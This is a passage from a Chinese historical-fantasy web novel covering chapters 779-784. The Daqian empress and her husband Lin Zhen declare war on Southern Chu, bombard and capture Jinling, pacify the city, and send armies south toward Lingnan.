然而,在她紧握的袖中,指甲早已深深嵌入掌心,带来一阵尖锐的刺痛。 封锁长江断其贸易命脉陈兵江畔施加军事压力袭扰后方制造内乱外交斥责占据道义高地 林臻的手段,精准而狠辣。 他不动一兵一卒深入南楚腹地,却已让这个昔日的劲敌陷入前所未有的混乱与恐慌。 南楚的困境,她感同身受。 那是她血脉相连的故国,是她父王曾经结盟的对象。 如今,却在林臻的棋局中,风雨飘摇,岌岌可危。 一丝复杂的情绪在她心底翻涌。 有对故国命运的忧虑,有对林臻冷酷手段的寒意,更有一种身处风暴中心、却无能为力的窒息感。 她这枚棋子,牵动着秦楚两地的神经,却连自己的命运都无法掌控。 “知道了。”玉华公主的声音清冷依旧,听不出丝毫波澜,“下去吧。” 侍女看着她孤寂而挺直的背影,欲言又止,最终含泪退下。 暖阁内重归寂静。 冷梅的幽香似乎更浓了。 玉华公主缓缓抬起手,指尖轻轻拂过脸上冰冷的火凤凰面具。 面具边缘的金属触感,冰冷刺骨。她走到书案前,铺开一张素白的宣纸,提起笔,却久久未曾落下。 一滴墨,从饱满的笔尖滴落,在洁白的宣纸上晕开一团浓重的黑。 如同此刻金陵城上空,那沉甸甸的、化不开的阴霾。 紫宸殿。 慕容嫣一身明黄常服,端坐御案之后。 她面前,摆放着数份来自江南、荆州、南疆以及金陵的密报。 “陛下。”兵部尚书赵武枯瘦的脸上带着一丝嗜血的兴奋,“南楚已乱,长江封锁十日金陵米价暴涨三倍,盐铁奇缺,民怨沸腾,沿江守军因粮饷短缺已有小股哗变,南疆苗王袭扰成功烧毁南楚三座大仓,楚霸天焦头烂额朝堂争吵不休毫无对策!” “善。”慕容嫣凤眸微抬,眼中闪过一丝锐利的光芒,“夫君之策见效甚速。” “陛下,”户部尚书张衡面带忧色,“然封锁日久我朝江南商贾亦受波及损失不小” “此乃阵痛。”慕容嫣声音清越,带着不容置疑的决断,“与覆灭南楚相比不值一提。着令户部酌情补偿受损商贾以安民心。” “是。”张衡躬身。 “一月之期将满。”慕容嫣目光扫过殿内群臣,“楚霸天可有回应?” “回陛下,”礼部尚书周正出列,“南楚使者昨日抵京呈递国书,言辞闪烁,推诿责任,仅承诺彻查黑水台,绝口不提赔偿及交人之事。” “哼!”慕容嫣冷哼一声,“死到临头犹自狡辩!” 她目光转向林臻:“夫君以为如何。” 林臻端坐其下,玄色常服衬得他身姿挺拔,神色沉静如水:“南楚困兽犹斗。其拖延之策意在争取时间联络外援或整顿内务。” “然其气数已尽。”林臻声音低沉而笃定,“封锁如枷已套其颈。内乱如疽蚀其脏腑。一月之期至若其仍不就范。” 他微微一顿,深邃的眼眸中寒光乍现:“则以抗旨不遵,勾结外敌,行刺亲王之罪昭告天下发兵伐楚!” “善!”慕容嫣凤眸中精光爆射,拍案而起,“传旨!” “命江南水师荆州襄阳前线各部即日起进入一级战备!粮草军械务必齐备!铁龙专列随时待命转运兵员!” “命工部焚雷司格物院全力赶制焚天雷新式火铳及攻城器械!务必足量!” “命兵部拟定伐楚方略三日内呈报!” “命礼部起草伐楚檄文历数南楚罪状昭告天下!” “一月之期至日若南楚仍无诚意则檄文所至大军齐发!踏平金陵!” “臣等遵旨!”群臣齐声高呼,声震殿宇,带着凛然的杀气与必胜的信念。 第780章 发兵南楚 一月之期,如同悬在南楚头顶的利剑,在金陵城惶惶不可终日的氛围中,悄然流逝。 大乾女帝慕容嫣措辞严厉的最后通牒,如同石沉大海,未得南楚新君顾承业半分实质回应。 金陵紫宸殿内,争吵依旧,推诿依旧,唯有恐慌如同瘟疫般蔓延,侵蚀着这座昔日繁华都城的最后一丝底气。 当最后一日夕阳沉入长江尽头,帝京紫宸殿内,象征决断的玉磬被重重敲响,清越的声响穿透殿宇,也穿透了南楚君臣最后一丝侥幸的幻想。 紫宸殿内,烛火通明,亮如白昼。 气氛凝重如铁,肃杀之气弥漫。 女帝慕容嫣一身明黄金凤战甲,外罩猩红织金斗篷,凤冠高耸,珠帘垂落,掩映着清丽绝伦却冷若冰霜的容颜。 她高踞御座之上,凤眸含威,扫视殿下肃立的文武百官。 林臻玄色蟠龙战甲,身披玄色大氅,按剑立于御阶之下左侧首位,身姿挺拔如松,深邃的眼眸平静无波,却蕴藏着足以撕裂山河的锐利锋芒。 “南楚楚霸天冥顽不灵,抗旨不遵,包庇凶逆,藐视天威!”慕容嫣的声音清越如冰泉,带着帝王的决绝与凛冽,“此乃自绝于天!自取灭亡!” 她缓缓起身,猩红斗篷在身后划出一道凌厉的弧线:“传朕旨意!” “南楚背信弃义,勾结外敌,资助刺客,行刺亲王,挑衅天朝罪证确凿!今又抗旨不遵藐视天威实乃罪大恶极!人神共愤!” “朕承天景命代天行罚!即日起发兵伐楚!讨还血债!以正天威!” “林臻为伐楚大元帅,统领三军,节制诸路兵马!” “赵武为前军都督,统率荆州襄阳诸军为先锋,直捣金陵!” “户部尚书张衡总揽粮草辎重转运,确保军需无虞!” “雷司主事楚惜灵督造军械焚天雷,火铳,务必源源不绝!” “礼部尚书周正昭告天下,颁布伐楚檄文,令四海咸知!” “钦此!” “臣等遵旨!”被点名的重臣齐声领命,声音洪亮,带着铁血的肃杀。 “陛下圣明!大乾必胜!”群臣齐声高呼,声浪如潮,震得殿宇嗡嗡作响。 帝京北郊,神武校场。 朔风凛冽,卷起漫天雪沫。 十万玄甲精锐,列阵如林,刀枪如雪,旌旗蔽日。 巨大的玄色蟠龙旗在寒风中猎猎作响,如同沉睡的巨龙睁开双眼,发出无声的咆哮。 空气中弥漫着铁锈、皮革、汗水和一种近乎凝固的肃杀气息。 点将台高耸。 慕容嫣一身金凤战甲,猩红斗篷在风中翻卷,如同浴火重生的凤凰。 她按剑而立,凤冠珠帘在风中摇曳,清丽的面容在冬日惨白的阳光下,带着一种惊心动魄的威严与决绝。 林臻玄甲黑氅,立于其侧,如同沉默的山岳,目光沉静地扫过台下钢铁洪流。 “将士们!”慕容嫣的声音,通过特制的扩音铜管,清晰地传遍整个校场,如同惊雷炸响在每一个士兵的耳畔,“南楚无道,背信弃义,资助凶逆,行刺亲王,今又抗旨不遵,藐视天威!此等不义之邦不伐不足以平民愤,不伐不足以彰天威,不伐不足以安社稷!” 她声音陡然拔高,带着穿透云霄的力量:“朕今日御驾亲征,与尔等同袍同泽,共赴国难,踏平金陵,诛灭逆贼,扬我大乾国威!” “万岁!万岁!万万岁!”十万将士齐声怒吼,声浪如同海啸般席卷天地! 刀枪高举,寒光闪烁,汇成一片钢铁森林,大地为之震颤! “开拔!”林臻低沉而有力的声音响起,如同进攻的号角! “呜——!呜——!呜——!” 低沉雄浑的号角声,如同远古巨兽的咆哮,响彻云霄! “轰隆隆——” 巨大的“铁龙”专列,喷吐着滚滚浓烟,发出震耳欲聋的轰鸣,缓缓驶入校场旁的专用轨道。钢铁的车轮碾过冰冷的铁轨,发出沉闷而有力的声响。 一列列满载着玄甲精锐、粮草辎重、以及覆盖着油布的巨大“焚天雷”炮车的车厢,如同钢铁长龙,在蒸汽的推动下,开始缓缓启动,驶向南方! 步兵方阵迈着整齐划一、撼动大地的步伐,紧随其后! 骑兵队列,战马嘶鸣,铁蹄如雷,卷起漫天雪尘! 整个校场,化作一片沸腾的钢铁洪流,带着无坚不摧的气势,滚滚南下! 慕容嫣立于点将台上,猩红斗篷在风中烈烈翻飞。 她望着那远去的钢铁洪流,凤眸中燃烧着冰冷的火焰。 林臻站在她身侧,玄色大氅在风中鼓荡,深邃的目光望向南方的天际线,那里,金陵城的轮廓,仿佛已在硝烟中若隐若现。 王府,“栖凰苑”。 暖阁内,烛火依旧。 窗外的寒风,似乎比往日更加凛冽,卷着雪沫,抽打着窗棂,发出呜咽般的声响。 玉华公主一身素白,静立窗前。 她脸上,那半张赤金火凤凰面具在烛光下闪烁着冰冷而妖异的光芒。 面具下,那只未被遮掩的左眸,清澈依旧,却如同冰封的湖面,倒映着窗外肆虐的风雪,沉寂无波。 心腹侍女脚步踉跄地冲入暖阁,脸色惨白如纸,声音带着哭腔和极致的恐惧:“公主,打起来了!陛下御驾亲征!大军开拔了!金陵完了!” 玉华公主的身体,在听到“御驾亲征”“金陵完了”几个字时,几不可察地微微一颤。 她依旧背对着侍女,目光落在窗外那株在狂风暴雪中摇曳的老梅上。 几朵倔强的梅花,在枝头绽放,花瓣在风雪中颤抖,却未曾凋零。 “知道了。”她的声音清冷无波,听不出丝毫情绪。 侍女看着她孤寂而挺直的背影,仿佛一座冰雕,绝望地瘫软在地,低声啜泣起来:“公主我们我们怎么办蒙烈将军他们白死了,秦国也完了。” 玉华公主缓缓转过身。 面具下,那只左眸平静地扫过瘫倒在地、泣不成声的侍女。 没有斥责,没有安慰,只有一片沉寂的冰原。 “下去。”她声音依旧清冷。 侍女抬起泪眼,对上那双毫无波澜的眼眸,心中最后一丝希望也彻底熄灭。 她挣扎着爬起身,踉跄着退了出去。 暖阁内,重归寂静。唯有风雪呜咽,烛火摇曳。 玉华公主走到书案前。案上,铺着一张素白的宣纸。她提起笔,蘸满浓墨。笔尖悬停在纸面之上,微微颤抖。 金陵完了。 这四个字,如同烧红的烙铁,狠狠烫在她的心上。 蒙烈他们的血,秦国旧部的覆灭,未能阻止这场战争,反而成了点燃战火的引信。 而她,这枚被当作棋子的“公主”,这枚被秦国旧部以死相护的“明珠”,此刻却只能困在这金丝牢笼中,戴着冰冷的面具,静待着故国的覆灭。 一丝极淡的、近乎自嘲的弧度,在她紧抿的唇边漾开。 她放下笔,指尖轻轻拂过冰冷的火凤凰面具。面具边缘的金属触感,冰冷刺骨。 她走到窗前,推开窗。 凛冽的寒风夹杂着雪沫,瞬间涌入暖阁,吹得烛火剧烈摇曳。 她伸出手,一片冰冷的雪花落在她白皙的掌心,瞬间融化,只留下一丝冰凉的水痕。 窗外,那株老梅在风雪中傲然挺立,枝头的梅花,在狂风中倔强地绽放着,散发出清冷的幽香。 玉华公主面具下那只未被遮掩的左眸,静静地凝视着风雪中的寒梅。 眼底深处,那片沉寂的冰原之下,似乎有什么东西,在无声地碎裂、涌动,最终归于一片更加深邃、更加冰冷的死寂。 她缓缓关上窗,将风雪隔绝在外。 暖阁内,烛火重新稳定下来,映照着她孤寂的身影和脸上冰冷的火凤凰面具。 第781章 金陵瞬间失守 长江,这条横亘南北的天堑,此刻在钢铁与烈焰的咆哮中,彻底失去了往日的宁静。 大乾的战争机器,在慕容嫣御驾亲征、林臻统帅三军的号令下,如同苏醒的洪荒巨兽,挟裹着雷霆万钧之势,碾向南楚的心脏——金陵。 金陵城下,长江浩荡。 然而,宽阔的江面早已被死亡的阴影笼罩。 大乾江南水师数十艘新式铁甲战舰,如同移动的钢铁堡垒,喷吐着滚滚黑烟,列阵江心。巨大的炮塔缓缓转动,黑洞洞的炮口如同深渊巨眼,森然指向南岸的金陵城墙。 “开炮,”旗舰“镇海号”上,水师提督一声令下。 “轰,轰,轰,轰,” 震耳欲聋的炮声撕裂长空,数十门大口径舰炮同时怒吼,橘红色的火舌喷薄而出,沉重的炮弹划破冰冷的空气,带着凄厉的尖啸,如同陨石般狠狠砸向金陵城高耸的城墙, “轰隆——” 地动山摇,金陵城坚固的城墙在恐怖的爆炸中剧烈颤抖,巨大的城砖如同豆腐般被撕裂、粉碎,烟尘混合着火光冲天而起,城墙上的南楚守军如同被狂风扫过的落叶,惨叫着被掀飞、撕碎,碎石如雨点般砸落, 一轮齐射,金陵城西侧城墙便已出现数道巨大的豁口,守军血肉横飞,哀嚎遍野, “放,”岸上,荆州、襄阳前线集结的大乾陆军炮阵指挥官,冷酷地挥下手臂。 “轰,轰,轰,轰,” 数百门新式“焚天雷”野战炮同时开火,密集的炮弹如同死亡之雨,越过长江,精准地覆盖了金陵城头及城内的防御工事,更加剧烈的爆炸声连绵不绝,火光冲天,浓烟滚滚,金陵城头瞬间化作一片火海,守军的抵抗意志,在这毁天灭地的炮火面前,如同薄冰般碎裂。 炮火延伸,覆盖城内, “登陆,”林臻玄甲黑氅,立于旗舰甲板之上,目光冰冷如铁,声音穿透炮火的轰鸣。 “呜——呜——” 凄厉的冲锋号响彻江岸, 早已集结在江畔的数百艘登陆艇,如同离弦之箭,在蒸汽机的咆哮声中,劈波斩浪,冲向金陵城下被炮火撕开的城墙豁口。 “杀,” 登陆艇舱门洞开,大乾玄甲精锐如同潮水般涌出,他们身着精钢胸甲,头戴覆面钢盔,手持新式燧发火铳,动作迅捷,纪律森严,甫一登陆,便迅速组成战斗队形。 “砰砰砰,砰砰砰,” 密集而精准的火铳射击声响起,如同炒豆般连绵不绝,铅弹如同死神的镰刀,收割着城墙上残存的、惊魂未定的南楚守军。 南楚士兵手中的弓箭、长矛,在火铳的射程和威力面前,显得如此苍白无力,往往还未靠近,便被密集的弹雨射成筛子。 “焚雷卫,上。”林臻的声音再次响起。 一支身着重甲、背负特制“掷弹筒”的精锐小队,如同幽灵般出现在城墙豁口处。 他们动作娴熟,迅速架设好掷弹筒。 “放。” “嘭,嘭,嘭,” 沉闷的发射声响起,一枚枚黝黑的“焚天雷”小型弹丸,划着弧线,精准地落入城墙后方的南楚守军集结地、箭楼、甚至试图反扑的骑兵队中, “轰,轰,轰,” 更加剧烈的爆炸在城内炸响,火光冲天,弹片横飞,南楚守军成片倒下,战马惊嘶,血肉模糊,残肢断臂四处飞溅,恐怖的杀伤力,让所有幸存的南楚士兵肝胆俱裂,斗志彻底崩溃, “逃啊,” “魔鬼,他们是魔鬼,” “挡不住了,快跑,” 金陵守军彻底溃散,哭喊声、惨叫声、绝望的嘶吼声混杂在一起,士兵们丢盔弃甲,如同无头苍蝇般在城内奔逃,大乾玄甲精锐如同钢铁洪流,沿着城墙豁口,源源不断地涌入金陵城,火铳的射击声、刺刀的寒光、以及焚天雷的爆炸声,成为这座千年古都最后的挽歌, 金陵皇宫,紫宸殿。 昔日庄严肃穆的大殿,此刻一片狼藉。 龙椅倾倒,帷幕撕裂,珍贵的瓷器玉器摔碎一地。 宫女太监惊恐尖叫,四散奔逃。 “陛下,陛下,城破了,城破了,”一名浑身浴血的禁军统领踉跄着冲入大殿,声音嘶哑绝望,“大乾的军队进城了,挡不住了,快快走啊!” 御座之上,楚霸天面如死灰,龙袍凌乱,眼中充满了难以置信的惊骇与无边的恐惧。 他手中紧握着一柄镶满宝石的佩剑,剑身却在剧烈颤抖。 “不可能,不可能”他喃喃自语,声音发颤,“金陵固若金汤怎么会,怎么会!” “陛下,没时间了,”丞相陈元连滚带爬地扑过来,老泪纵横,“留得青山在不怕没柴烧,快快从密道走,” “走?”楚霸天眼中闪过一丝疯狂,“朕是南楚皇帝,朕不走,朕要与金陵共存亡,” “陛下,糊涂啊,”陈元哭喊道,“大乾火器凶猛非人力可挡,再不走就来不及了,” 就在这时,殿外传来更加密集的火铳射击声和爆炸声,喊杀声越来越近,甚至能听到大乾士兵整齐的脚步声, “保护陛下,”禁军统领嘶吼着,带着最后几名亲卫冲向殿门。 “砰,砰,砰,” 火铳声响起,禁军统领和亲卫瞬间倒在血泊之中,殿门被粗暴地撞开,数名手持火铳、浑身浴血的大乾玄甲士兵冲了进来,冰冷的铳口,直指殿内, 楚霸天瞳孔骤缩,死亡的恐惧瞬间吞噬了他所有的疯狂,他猛地将佩剑丢在地上,发出一声惊恐的尖叫, “走,快走,”陈元一把拉住楚霸天,连拖带拽,在几名忠心宦官的掩护下,冲向大殿后方一处隐蔽的帷幕之后。 那里,有一条通往宫外的秘密通道。 “追,”大乾士兵厉喝,举铳欲射, “轰,” 一枚“焚天雷”在殿门口炸开,烟尘弥漫,暂时阻挡了追兵, 楚霸天在陈元和宦官的拼死掩护下,狼狈不堪地钻入密道。 他华丽的龙袍被撕破,金冠歪斜,脸上沾满灰尘和血迹,眼中只剩下无边的恐惧与仓皇。 他最后回头看了一眼硝烟弥漫、火光冲天的皇宫,发出一声绝望而不甘的嘶吼,随即消失在黑暗的密道深处。 金陵城破! 大乾玄色蟠龙旗,插上了金陵城头,在硝烟与火光中猎猎飘扬! 残余的南楚守军零星抵抗,很快被手持火铳、配合默契的大乾士兵肃清。街道上,尸横遍野,血流成河。 昔日繁华的秦淮河畔,画舫倾覆,楼阁坍塌,火光映照着断壁残垣,一片凄凉。 慕容嫣与林臻并肩策马,在亲卫的簇拥下,缓缓踏入这座千年古都。 慕容嫣一身金凤战甲,猩红斗篷在风中翻卷,凤眸扫过满目疮痍的城池,带着胜利者的威严与一丝不易察觉的悲悯。 林臻玄甲黑氅,神色沉静如水,深邃的目光扫过废墟与尸骸,无波无澜。 “传令!”慕容嫣声音清越,穿透战后的喧嚣,“肃清残敌!扑灭大火!救治伤患!安抚百姓!张贴安民告示!” “遵旨!”传令兵飞驰而去。 “楚霸天何在。”林臻问。 “回禀元帅!”一名将领策马而来,“据俘虏供述楚霸天与其丞相陈元从皇宫密道逃脱方向不明!” “哼,丧家之犬。”林臻嘴角勾起一丝冰冷的弧度,“传令各关隘严查!绣衣卫全力追捕!活要见人死要见尸!” “是!” 金陵城上空,硝烟弥漫,遮天蔽日。 夕阳的余晖穿透烟尘,洒在断壁残垣之上,染上了一层凄艳的血色。 这座曾经繁华鼎盛的南楚都城,在钢铁与烈焰的洗礼下,宣告陷落。 大乾的铁骑,踏着南楚的废墟,将帝国的版图,延伸至长江以南。 第782章 安抚 金陵城破的硝烟尚未散尽,空气中弥漫着浓烈的硫磺、血腥与焦糊混合的气息。 昔日繁华的秦淮河畔,画舫倾覆,楼阁坍塌,断壁残垣间,火光仍在零星跳跃。 街道上,尸骸枕藉,血迹在冬日的寒风中凝结成暗红色的冰。 哭喊声、呻吟声、以及大乾士兵威严的喝令声交织在一起,构成这座千年古都陷落后的凄凉画卷。 大乾玄甲精锐,在火铳与刺刀的寒光映衬下,如同冰冷的钢铁洪流,迅速而有序地接管了金陵城防。 城墙上,残破的南楚龙旗被扯下,取而代之的是玄色蟠龙旗,在凛冽的寒风中猎猎作响。 “传元帅令!”传令兵策马飞驰,声音穿透城内的喧嚣,“各部按预定区域肃清残敌,扑灭大火,救治伤患,凡持械抵抗者格杀勿论,凡趁乱劫掠者就地正法!” 命令如山,大乾士兵迅速分成小队,如同精密的齿轮,开始运转。 一队队士兵手持火铳,警惕地搜索着街巷的每一个角落。 零星的抵抗如同螳臂当车,在密集的弹雨下瞬间被粉碎。哭喊着奔逃的溃兵被喝令抱头蹲下,稍有迟疑,冰冷的刺刀便已抵近咽喉。 另一队士兵则扛着水龙,冲向仍在燃烧的房屋楼宇。 冰冷的水柱浇在炽热的火焰上,发出刺耳的“滋滋”声,腾起大股白烟。 倒塌的房屋下,受伤的百姓被小心翼翼地抬出,送往临时设立的医棚。 “安民告示!”文吏在士兵的护卫下,将盖有镇北王大印的告示张贴在城门、街口、以及残存的官府衙门墙壁上。 “大乾天兵伐无道诛暴楚,今金陵已定,凡南楚军民人等弃械归降既往不咎,安守本分者大乾保其身家性命,凡作奸犯科趁火打劫者杀无赦!” 告示一出,恐慌的百姓稍稍安定。 一些躲藏起来的南楚小吏、兵卒,战战兢兢地走出藏身之处,向大乾士兵投降。 城内混乱的秩序,在铁血与威慑之下,开始艰难地恢复。 金陵皇宫,紫宸殿。 这座象征着南楚最高权力的殿堂,此刻满目疮痍。殿门破碎,梁柱焦黑,精美的雕饰被爆炸震得粉碎。 龙椅倾覆在地,被踩踏得不成样子。 地面上,散落着破碎的瓷器、撕裂的锦缎、以及尚未干涸的血迹。 慕容嫣与林臻并肩踏入大殿。 慕容嫣一身金凤战甲,猩红斗篷在殿内穿堂而过的寒风中翻卷,凤眸扫过这片狼藉,带着胜利者的威严与一丝审视。 林臻玄甲黑氅,神色沉静,深邃的目光如同探照灯般扫过殿内的每一个角落。 “搜!”林臻声音低沉。 “是!”一队精锐亲卫立刻散开,手持火铳,警惕地搜索着大殿的每一个角落,包括龙椅之后、帷幕之间,以及可能存在密道的区域。 “报!”一名亲卫统领快步上前,单膝跪地,“启禀陛下!元帅!殿后发现一处暗门!已被炸毁封死!疑为密道入口!” “果然有密道。”林臻眼中寒光一闪,“楚霸天便是由此遁逃。” “能追吗?”慕容嫣问。 “密道已被从内炸塌短时难以疏通。”亲卫统领道,“已派人沿可能出口方向追查!” “哼丧家之犬插翅难飞。”林臻冷声道,“传令绣衣卫全力追缉!封锁所有出城要道!严查过往行人!悬赏万金取其首级!” “遵命!” “报!”又一名将领入殿,“启禀陛下,元帅,南楚国库已被控制!然库中金银粮秣十不存一,据俘虏供述楚霸天遁逃前已命人转移大部财物!” “狡兔三窟。”慕容嫣凤眸微凝,“着令户部官员即刻接管国库清点余资!彻查财物去向!” “是!” “报!”焚雷司主事楚惜灵步入大殿,身后跟着几名焚雷卫,“启禀陛下!元帅!在南楚工部秘库发现大量未及销毁的图纸及部分仿制焚天雷残骸!” “哦?”林臻目光一凝,“呈上!” 楚惜灵示意,焚雷卫将几卷残破的图纸和几块扭曲变形的金属残骸呈上。 林臻拿起图纸,迅速扫过。 图纸上绘制着复杂的机械结构和爆炸原理图,虽然粗糙且多有谬误,但核心思路竟与大乾早期“焚天雷”有几分相似! 那些金属残骸,也明显是仿制失败的爆炸装置! “南楚竟有此野心!”慕容嫣声音转冷。 “垂死挣扎罢了。”林臻放下图纸,眼中闪过一丝不屑,“仿制粗劣威力不足我军三成。然此物流散民间恐为祸,着令焚雷司即刻收缴所有相关图纸器物,凡有私藏者以通敌论处!” “遵命!”楚惜灵躬身领命,清冷的眼眸中闪过一丝锐利。 数日后,金陵城内的硝烟与混乱逐渐平息。 大火被扑灭,尸体被清理,街道被清扫。 虽然断壁残垣依旧触目惊心,但恐慌的气氛已被一种压抑的平静所取代。 大乾的玄甲士兵巡逻于街巷,维持着秩序。安民告示张贴各处,承诺减免赋税、赈济灾民,安抚着惶惶人心。 金陵皇宫,紫宸殿虽残破,但已被紧急清理出来。 殿前广场上,工匠们正日夜赶工,搭建一座高耸的祭天台。 “陛下登基大典已筹备妥当。”礼部尚书周正躬身禀报,声音带着一丝激动与疲惫,“祭天台明日即可完工。吉时定于后日午时三刻!” 慕容嫣立于殿前台阶之上,金凤战甲在冬日阳光下熠熠生辉。 她望着广场上忙碌的景象,凤眸中闪烁着前所未有的光芒。 踏平金陵,覆灭南楚,她将在这片象征着江南最高权力的土地上,正式登基为帝,成为真正意义上的天下共主! “善。”慕容嫣声音清越,带着不容置疑的威严,“昭告全城,后日午时朕将于此紫宸殿前祭告天地登基为帝,大赦天下,与民更始!” “臣遵旨!”周正激动地躬身。 “夫君,”慕容嫣转向身侧的林臻,眼中带着柔情与信赖,“此盛典需你同在。” 林臻玄甲黑氅,身姿挺拔如松。他深邃的目光扫过广场,扫过这座象征着他赫赫战功的城池,最终落在慕容嫣身上。 “嫣儿为帝乃天命所归。”林臻声音低沉而坚定,“为夫自当护持左右。” 他微微一顿,目光望向南方更辽阔的疆域:“南楚虽灭然百废待兴,苗疆诸部尚需安抚,南疆海寇犹在作乱,此皆为新朝之基业。” “夫君所言极是。”慕容嫣颔首,凤眸中闪烁着雄心壮志,“待登基礼成你我夫妻同心共治这万里河山!” 凛冽的寒风中,金陵皇宫祭天台拔地而起,直指苍穹。 玄色蟠龙旗在宫墙上迎风招展。这座刚刚经历战火洗礼的古都,正屏息凝神,等待着一位新帝的诞生,也等待着一个大乾盛世,在江南的土地上,拉开崭新的序幕。 第783章 不给喘气的机会 金陵城破的硝烟渐渐散去,空气中弥漫的硫磺与血腥味被凛冽的寒风稀释,却依旧沉淀在断壁残垣与青石板路的缝隙中。 秦淮河畔的焦黑木梁与倾覆画舫,无声诉说着战火的残酷。 然而,这座千年古都的底蕴并未被彻底摧毁。 街道上,虽不复往日摩肩接踵的繁华,但行人渐多,神色间虽带着劫后余生的惊惶,却也透着一丝属于江南富庶之地的沉稳与精明。 商铺陆续开门,米铺、布庄、药铺前,排起了不算长的队伍,秩序在玄甲士兵冰冷的注视下,悄然恢复。 紫宸殿(临时征用的南楚旧宫议事殿)内,气氛肃然。 慕容嫣一身明黄常服,端坐主位,凤眸沉静。 林臻玄色常服,坐于其侧,目光深邃。户部尚书张衡、新任金陵安抚使(原江南道转运使)王允等重臣肃立阶下。 “金陵民生如何。”慕容嫣声音清越,带着一丝不易察觉的关切。 “回禀陛下!”安抚使王允躬身,声音沉稳,“金陵乃江南膏腴之地商贾云集富户众多。此次虽遭兵燹然根基未损。城中粮仓大部尚存粮价已平抑。盐铁布帛等民生所需货源充足市面正逐步恢复。” “百姓可有饥馑?”慕容嫣问。 “暂无。”王允道,“金陵富户甚多家资殷实。普通市民亦多有积蓄或手艺傍身。无需朝廷大规模施粥赈济。” “善。”慕容嫣颔首,“然战火波及难免有屋舍损毁人员伤亡。着令” “其一,户部拨付专款用于修缮民房抚恤伤亡百姓家属。务必公平公正速办!” “其二,工部焚雷司协助清理废墟疏通道路恢复市容!” “其三,即日起免除金陵全城一年赋税!商税减半!以安民心促复业!” “其四,”慕容嫣声音转沉,“严查趁乱哄抬物价囤积居奇者,一经查实严惩不贷,抄没家产,以儆效尤!” “臣遵旨!”张衡、王允齐声应道。 “另,”慕容嫣凤眸扫过众人,“金陵文风鼎盛士林清议不可轻忽。着令安抚使王允择日设宴款待城中名士耆老,释其疑虑,彰我新朝仁德。” “臣明白!”王允躬身,眼中闪过一丝精光。 他深知,安抚这些掌握着地方舆论的士绅阶层,其重要性不亚于稳定市井民生。 “夫君以为如何。”慕容嫣转向林臻。 “甚妥。”林臻颔首,声音低沉,“金陵非贫瘠之地。安抚当以恢复秩序安定人心为主。施恩需精准切忌滥施恩惠养出惰民。” 他目光转向王允:“王大人,安抚士绅时可暗示新朝科举将开唯才是举不问出身。凡有真才实学者皆可为国效力。” “是!下官谨记!”王允心中凛然,明白这是王爷在为新朝吸纳江南人才铺路。 安抚事宜议定,殿内气氛转为肃杀。 “金陵已定然南楚未灭。”林臻声音低沉,却带着千钧之力,“楚霸天遁逃南楚残部散落各地尤,以岭南闽越为甚。其地山高林密水道纵横易守难攻,若不及时荡平恐成心腹之患!” “夫君所言极是。”慕容嫣凤眸中寒光一闪,“南楚余孽不除江南难安!新朝根基难固!” “赵武!”林臻目光转向兵部尚书。 “末将在!”赵武枯瘦的脸上刀疤狰狞,眼中凶光爆射,踏前一步。 “着你统率前军十万!以‘铁龙’转运兵员辎重!即日启程南下!目标岭南!” “末将领命!”赵武声音嘶哑,带着嗜血的兴奋。 “李崇!”林臻看向工部尚书。 “臣在!” “着令焚雷司格物院全力保障焚天雷火铳弹药供应!新式山地炮务必优先配给南下大军!” “臣遵旨!” “楚惜灵!”林臻目光落在焚雷司主事身上。 楚惜灵一身靛蓝工装,清冷如常,微微躬身:“臣在。” “着你随军南下!组建焚雷卫特遣队,专司攻坚破寨,以焚天雷开道!扫清障碍!” “臣领命。”楚惜灵声音清冷,无波无澜。 “张衡!”林臻转向户部尚书。 “臣在!” “粮草辎重转运乃南下关键!务必确保水路陆路畅通!铁龙专列优先保障军需!” “臣定当竭尽全力!”张衡咬牙应道,深知此任艰巨。 “另,”林臻目光扫过众人,“传令南疆苗王及归附诸部,令其出兵协助清剿南楚残部,凡有斩获或献城者重赏,加封,赐地!” “是!” “夫君坐镇何处。”慕容嫣问。 “金陵初定百废待兴,嫣儿需坐镇中枢稳定大局。”林臻道,“为夫将亲率中军十万随后南下,直取闽越,与赵武形成钳形攻势,扫荡东南!” “好!”慕容嫣凤眸中闪烁着信任与决绝,“朕在金陵为夫君及将士们督运粮草,静候捷报!” 她站起身,猩红斗篷无风自动,声音清越而威严:“此战乃新朝定鼎江南之役,务必犁庭扫穴永绝后患,凡有负隅顽抗者杀无赦,凡有弃暗投明者既往不咎,论功行赏!” “臣等遵旨!陛下圣明!大乾必胜!”群臣齐声高呼,声震殿宇! 安抚使王允的府邸,灯火通明。 一场精心准备的夜宴正在进行。 受邀前来的金陵名士、富商巨贾、地方耆老,济济一堂。 席间,美酒佳肴,丝竹悦耳。王允谈笑风生,言辞恳切,传达着新朝免除赋税、鼓励复业、唯才是举的恩典与政策。 席间众人,神色各异。 有的面带感激,举杯称颂新朝仁德;有的强颜欢笑,眼底藏着深深的忧虑与不甘;有的则沉默不语,目光闪烁,似乎在权衡利弊。 “王大人,新朝宽厚我等感激不尽。”一位白发苍苍的士绅代表起身敬酒,“然南楚余孽尚在岭南闽越作乱,不知朝廷何时能彻底平定?” 王允举杯,笑容和煦:“李老放心。陛下与镇北王殿下已调遣天兵南下,不日便将犁庭扫穴!还江南一个朗朗乾坤,诸位只需安心经营静待捷报!” “如此甚好!甚好!”众人纷纷附和,举杯共饮。 第784章 飞天神爪 金陵城的喧嚣与重建之声,被南下的铁蹄与蒸汽的轰鸣远远抛在身后。 凛冽的寒风裹挟着南方的湿冷,抽打在行军的玄甲之上。 大乾的战争机器,在赵武的统率下,如同一条沉默而致命的钢铁巨蟒,沿着崎岖的山路,蜿蜒南下,直扑岭南。 岭南,南楚最后的屏障,山高林密,瘴疠横行,水道纵横,自古便是易守难攻之地。 南楚残部在楚霸天心腹大将“镇南侯”吴彪的率领下,依托“鹰愁涧”、“鬼见愁”等天险,构筑起一道道坚固的防线,意图做最后的困兽之斗。 鹰愁涧。 两座刀削斧劈般的千仞绝壁,夹着一条狭窄湍急的河流。 河水奔腾咆哮,声震山谷。唯一可通行的,是一条紧贴崖壁开凿的栈道,宽仅容两人并行,下方是深不见底的激流。 栈道尽头,便是南楚重兵把守的“鹰愁关”。 关隘依山而建,巨石垒砌,箭楼林立,滚木礌石堆积如山。 关上,南楚守军严阵以待,弓弩上弦,眼神中带着困兽般的疯狂。 赵武枯瘦的身影立于涧口,刀疤狰狞的脸上,眉头紧锁。 他望着那狭窄如咽喉的栈道和雄踞其上的险关,眼中凶光闪烁,却也带着一丝凝重。 强攻? 